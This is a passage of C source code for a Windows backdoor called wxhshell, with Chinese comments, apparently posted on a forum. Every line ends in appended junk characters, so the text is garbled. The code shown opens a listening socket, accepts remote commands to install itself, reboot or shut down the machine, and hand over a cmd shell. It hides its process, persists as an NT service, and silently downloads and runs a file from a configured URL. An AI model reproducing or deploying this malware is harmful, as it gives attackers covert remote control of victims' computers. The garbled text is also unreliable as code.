  if(DownloadFile(cmd,wsh)) Dn- gP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "tK%]c d-  
  else :FyF:=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~6vz2DuB=  
  } EeIDlm0o  
  else { 6|TSH$w_  
O 4 !$  
    switch(cmd[0]) { E+td~&x  
  dWqn7+:  
  // 帮助 *[Hrbln  
  case '?': { #;!&8iH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'sNZFB#  
    break; W&z jb>0b0  
  } )Q)qz$h@  
  // 安装 BFLef3~.0  
  case 'i': { 7>JYwU{  
    if(Install()) `i7r]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U=>S|>daR  
    else . ,7bGY 1$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p!.~hw9  
    break; ~%{2Z_t$  
    } n ]ikc|  
  // 卸载 XtF m5\U  
  case 'r': { GK?ual1  
    if(Uninstall()) HpwMm^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 74s{b]jN'-  
    else |<%!9Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KKeMi@N  
    break; {]vD@)k  
    } >1y6DC  
  // 显示 wxhshell 所在路径 ?ukw6T  
  case 'p': { ?Ua,ba*  
    char svExeFile[MAX_PATH]; S_}`'Z )  
    strcpy(svExeFile,"\n\r"); Cj5mM[:s  
      strcat(svExeFile,ExeFile); :<% bAn  
        send(wsh,svExeFile,strlen(svExeFile),0); UHBXq;?&q  
    break; K^- 1M?  
    } w~'xZ?  
  // 重启 9&Y@g)+2  
  case 'b': { *Cy54Z#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +A9~h/"kt  
    if(Boot(REBOOT)) $ /VQsb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  %Bq~b$  
    else { UA[`{rf  
    closesocket(wsh); J3 $>~?^1  
    ExitThread(0); f^c+M~\JKj  
    } qsj{0Go  
    break; M  .#}  
    } 3? {AGJ1  
  // 关机 k.T=&0J_1  
  case 'd': { e3~MU6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); > mGH4{H  
    if(Boot(SHUTDOWN)) 8\"<t/_ W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZbnAAbfKH  
    else { f%Q)_F[0D4  
    closesocket(wsh); +`y(S}Z  
    ExitThread(0); +9)Jtm oL  
    } TS<d?:  
    break; /-=fWtA  
    } lFBdiIw  
  // 获取shell A q i:h]x  
  case 's': { +X?ErQm  
    CmdShell(wsh); ~ELY$G.xl  
    closesocket(wsh); =w2 4(S  
    ExitThread(0); PK*Wu<<  
    break; \0$+*ejz  
  } Q PH=`s  
  // 退出 [g}Cve#i  
  case 'x': { _0H oJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UBvp3 2p  
    CloseIt(wsh); i,Ct AbMx  
    break; uo F.f$%"  
    } ^$c#L1 C  
  // 离开 |OQ]F  
  case 'q': { F^ q{[Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fHt\KP  
    closesocket(wsh); bQ< qdGa  
    WSACleanup(); f}otIf  
    exit(1); a[{$4JpK  
    break; 3i^X9[.  
        } F%>$WN#2  
  } bzN[*X|  
  } 5#Er& 6s  
}~FX!F#oU  
  // 提示信息 WP<L9A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xr*I`BJ  
} 1v@#b@NXM7  
  } W/'1ftn?D  
0cG'37[  
  return; j,n:%5P\v  
} Xfiwblg  
]HKt7 %,  
// shell模块句柄 jP@ @<dt  
int CmdShell(SOCKET sock) {QG.> lB  
{ a`O'ZY  
STARTUPINFO si; o |$D|E  
ZeroMemory(&si,sizeof(si)); Q3@zUjq_Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -FeXG#{)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4,RPidv%O  
PROCESS_INFORMATION ProcessInfo; Koa9W >!  
char cmdline[]="cmd"; xd Z$|{,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z)!8a$M~  
  return 0; i'Y8-})  
} =NB[jQ :(  
aNbS0R>l  
// 自身启动模式 ly0R'4j \  
int StartFromService(void) ;hj lRQ\  
{ F^Ut ZG+  
typedef struct h5?^MRZS  
{ MU<(O}  
  DWORD ExitStatus; 6?Ncgj &@  
  DWORD PebBaseAddress; Om3Ayk}  
  DWORD AffinityMask; InPE_  
  DWORD BasePriority; ^WA7X9ed  
  ULONG UniqueProcessId; !Tzo &G  
  ULONG InheritedFromUniqueProcessId; &/@V$'G=  
}   PROCESS_BASIC_INFORMATION; :!gNOR6Lh  
ZmK=8iN9J  
PROCNTQSIP NtQueryInformationProcess; tE*BZXBlm  
||+~8z#+,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2mLZ4 r>WE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @K;b7@4y  
`}X3f#eO&  
  HANDLE             hProcess; 5es t  
  PROCESS_BASIC_INFORMATION pbi; W"\~O"a  
IjI'Hx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !do`OEQKR  
  if(NULL == hInst ) return 0; KEAXDF&#  
dx%z9[8~{.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3%v)!dTa<^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *l5?_tF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #W\}v(Ke  
;i@S}LwL  
  if (!NtQueryInformationProcess) return 0; Yf0 KG  
}[+uHR6L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +n^M+ea;  
  if(!hProcess) return 0; JCWTB`EB>  
"@ >6<(Ki  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +pd,gG?dW  
X[tt'5  
  CloseHandle(hProcess); W(q3m;n  
'-wmY?ZFxy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pcMzLMG<  
if(hProcess==NULL) return 0; !GOaBs  
j~v`q5X  
HMODULE hMod; @SX%q&-  
char procName[255]; Ak[X`e T  
unsigned long cbNeeded; {FI zoR"  
)uqzu%T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c 4z&HQd  
%H{pU:[5*  
  CloseHandle(hProcess); ]r`;89:s>  
-K{R7  
if(strstr(procName,"services")) return 1; // 以服务启动 "vGh/sXW  
H cmW  
  return 0; // 注册表启动 1>(EvY}Y\  
} R"ON5,E  
G,C`+1$*  
// 主模块 *6I$N>1  
int StartWxhshell(LPSTR lpCmdLine) WD5J2EePT  
{ (MGg r  
  SOCKET wsl; J[lC$X[  
BOOL val=TRUE; Hq.rG-,p  
  int port=0; s|C[{n<_  
  struct sockaddr_in door; RELNWr  
*aErwGLB8  
  if(wscfg.ws_autoins) Install(); .W]k 8N E  
l!ow\ZuQBF  
port=atoi(lpCmdLine); BN*:*cmUl  
l7`{O/hN  
if(port<=0) port=wscfg.ws_port; &'6/H/J  
HZ3;2k  
  WSADATA data; S:1[CNL;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 77\+V 0cF  
u\LNJo| B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pRQ7rT',v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FjCGD4x1N  
  door.sin_family = AF_INET; rLTBBvV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \$9C1@B@  
  door.sin_port = htons(port); 2"&GH1  
\,S |>CPQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9'MGv*Ho  
closesocket(wsl); ni;)6,i  
return 1; z;JV3) E  
} @]qP:h.  
kf@JEcKV  
  if(listen(wsl,2) == INVALID_SOCKET) { 1PY]Q{r  
closesocket(wsl); zPnb_[YF  
return 1; aRTy=~  
} rrL.Y&DTK  
  Wxhshell(wsl); [,Ehu<mEK  
  WSACleanup(); L<FXtBJ  
E{ /, b)  
return 0; /LFuf`bXV  
|WB-Ng  
} ixA.b#!1  
kk fWiPO^  
// 以NT服务方式启动 U7WYS8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y[N0P0r l:  
{ )rEl{a  
DWORD   status = 0; Y` }X5(A@  
  DWORD   specificError = 0xfffffff; @i#JlZM_  
!!\}-r^y%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @}y.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HOx4FXPs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oq7G=8gTp  
  serviceStatus.dwWin32ExitCode     = 0; C1 ^%!)  
  serviceStatus.dwServiceSpecificExitCode = 0; a0NiVF-m%  
  serviceStatus.dwCheckPoint       = 0; >/ay'EyY;>  
  serviceStatus.dwWaitHint       = 0; Zn9tG:V  
8-#kY}d.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3ijPm<wn  
  if (hServiceStatusHandle==0) return; !hVbx#bXl  
oC`F1!SfOO  
status = GetLastError(); Pn!~U] A$%  
  if (status!=NO_ERROR) !.P||$x`&  
{ !E$$ FvL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,rMDGZm?  
    serviceStatus.dwCheckPoint       = 0; <AU*lLZ  
    serviceStatus.dwWaitHint       = 0; _ [k \S|iY  
    serviceStatus.dwWin32ExitCode     = status; z~Q=OPCnY  
    serviceStatus.dwServiceSpecificExitCode = specificError; aL1%BGlmZ<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); - l X4;  
    return; 1$b@C-B@g  
  } exq5Zc%  
L-+g`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6R45+<.  
  serviceStatus.dwCheckPoint       = 0; }AS?q?4?  
  serviceStatus.dwWaitHint       = 0; {+9RJmZg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y w0,K&  
} I )mB]j  
z}E_ wg  
// 处理NT服务事件,比如:启动、停止 \%<M[r=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [wQ48\^  
{ =}Tm8b0  
switch(fdwControl) sD3ZZcy|=  
{ X&9: ^$m  
case SERVICE_CONTROL_STOP: Z3]I^i FI  
  serviceStatus.dwWin32ExitCode = 0; 9gg{i6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m!7%5=Fc  
  serviceStatus.dwCheckPoint   = 0; \Kf\%Q  
  serviceStatus.dwWaitHint     = 0; )- W1Wtom  
  { JP4DV=}L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AW5iwq6p  
  } ET.jjV  
  return; c)#P}Ai  
case SERVICE_CONTROL_PAUSE: l 5-[a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !<M eWo  
  break; )JzY%a SP  
case SERVICE_CONTROL_CONTINUE: uzdPA'u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T^ktfg Xq  
  break; 1Ms]\<^j  
case SERVICE_CONTROL_INTERROGATE: CM?:\$ 4  
  break; #,tT`{u1q  
}; oz&`3`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6:5K?Yo  
} )R7Sh51P  
zamMlmls^  
// 标准应用程序主函数 h'"m,(a   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Na91K4r#  
{ y?OP- 27y  
\:;MFG'  
// 获取操作系统版本 irQ'Rm [  
OsIsNt=GetOsVer(); L('1NN 2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $e+sqgU  
7I;kh`H$(f  
  // 从命令行安装 8 #4K@nm5  
  if(strpbrk(lpCmdLine,"iI")) Install(); V|u2(*  
mGE!,!s}  
  // 下载执行文件 -,")GA+[7  
if(wscfg.ws_downexe) { ! VR&HEru  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D1rVgM  
  WinExec(wscfg.ws_filenam,SW_HIDE); u=0O3-\h  
} {JfQQP&FV  
&3SS.&g4W  
if(!OsIsNt) { IHTim T?  
// 如果时win9x,隐藏进程并且设置为注册表启动 p{Q6g>?[  
HideProc(); yV.p=8:  
StartWxhshell(lpCmdLine); ]c>@RXY'  
} d<-f:}^k0  
else D;YfQQr  
  if(StartFromService()) P}4&J ^  
  // 以服务方式启动 .HZd.*  
  StartServiceCtrlDispatcher(DispatchTable); h,{Q%sqO  
else | In{5E k  
  // 普通方式启动 l\Ozy  
  StartWxhshell(lpCmdLine); egu{}5  
OD)X7PU  
return 0; T ipH}  
}
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只看该作者 1 发表于: 2006-10-10
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